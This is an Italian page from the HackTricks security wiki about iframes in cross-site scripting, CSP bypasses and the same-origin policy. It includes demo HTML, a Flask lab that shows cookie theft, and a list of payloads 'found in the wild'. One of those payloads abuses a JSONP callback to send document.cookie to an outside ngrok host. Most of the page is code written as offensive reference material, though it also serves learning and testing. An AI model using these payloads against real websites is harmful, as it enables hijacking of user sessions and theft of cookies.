Iframes in XSS, CSP e SOP
Reading time: 6 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Iframes in XSS
Ci sono 3 modi per indicare il contenuto di una pagina in iframe:
- Tramite
src
che indica un URL (l'URL può essere cross origin o same origin) - Tramite
src
che indica il contenuto utilizzando il protocollodata:
- Tramite
srcdoc
che indica il contenuto
Accesso a variabili Parent & Child
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
Se accedi all'html precedente tramite un server http (come python3 -m http.server
), noterai che tutti gli script verranno eseguiti (poiché non c'è CSP che lo impedisca). il genitore non sarà in grado di accedere alla variabile secret
all'interno di qualsiasi iframe e solo gli iframe if2 e if3 (che sono considerati dello stesso sito) possono accedere al segreto nella finestra originale.
Nota come if4 è considerato avere origine null
.
Iframes con CSP
note
Si prega di notare come nei seguenti bypass la risposta alla pagina incapsulata non contenga alcun header CSP che impedisca l'esecuzione di JS.
Il valore self
di script-src
non permetterà l'esecuzione del codice JS utilizzando il protocollo data:
o l'attributo srcdoc
.
Tuttavia, anche il valore none
della CSP permetterà l'esecuzione degli iframe che mettono un URL (completo o solo il percorso) nell'attributo src
.
Pertanto, è possibile bypassare la CSP di una pagina con:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Nota come il CSP precedente consente solo l'esecuzione dello script inline.
Tuttavia, solo gli script if1
e if2
verranno eseguiti, ma solo if1
sarà in grado di accedere al segreto del genitore.
Pertanto, è possibile bypassare un CSP se puoi caricare un file JS sul server e caricarlo tramite iframe anche con script-src 'none'
. Questo può potenzialmente essere fatto anche abusando di un endpoint JSONP same-site.
Puoi testare questo con il seguente scenario in cui un cookie viene rubato anche con script-src 'none'
. Basta eseguire l'applicazione e accedervi con il tuo browser:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Altri Payload trovati nel wild
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
Il contenuto all'interno di un iframe può essere soggetto a restrizioni aggiuntive attraverso l'uso dell'attributo sandbox
. Per impostazione predefinita, questo attributo non è applicato, il che significa che non ci sono restrizioni in atto.
Quando utilizzato, l'attributo sandbox
impone diverse limitazioni:
- Il contenuto è trattato come se provenisse da una fonte unica.
- Qualsiasi tentativo di inviare moduli è bloccato.
- L'esecuzione di script è vietata.
- L'accesso a determinate API è disabilitato.
- Impedisce ai link di interagire con altri contesti di navigazione.
- L'uso di plugin tramite
<embed>
,<object>
,<applet>
o tag simili è vietato. - La navigazione del contesto di navigazione di livello superiore del contenuto da parte del contenuto stesso è impedita.
- Le funzionalità che vengono attivate automaticamente, come la riproduzione video o il focus automatico dei controlli del modulo, sono bloccate.
Il valore dell'attributo può essere lasciato vuoto (sandbox=""
) per applicare tutte le restrizioni sopra menzionate. In alternativa, può essere impostato su un elenco di valori specifici separati da spazi che esentano l'iframe da determinate restrizioni.
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
Iframes in SOP
Controlla le seguenti pagine:
{{#ref}} ../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md {{#endref}}
{{#ref}} ../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md {{#endref}}
{{#ref}} ../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md {{#endref}}
{{#ref}} ../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md {{#endref}}
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.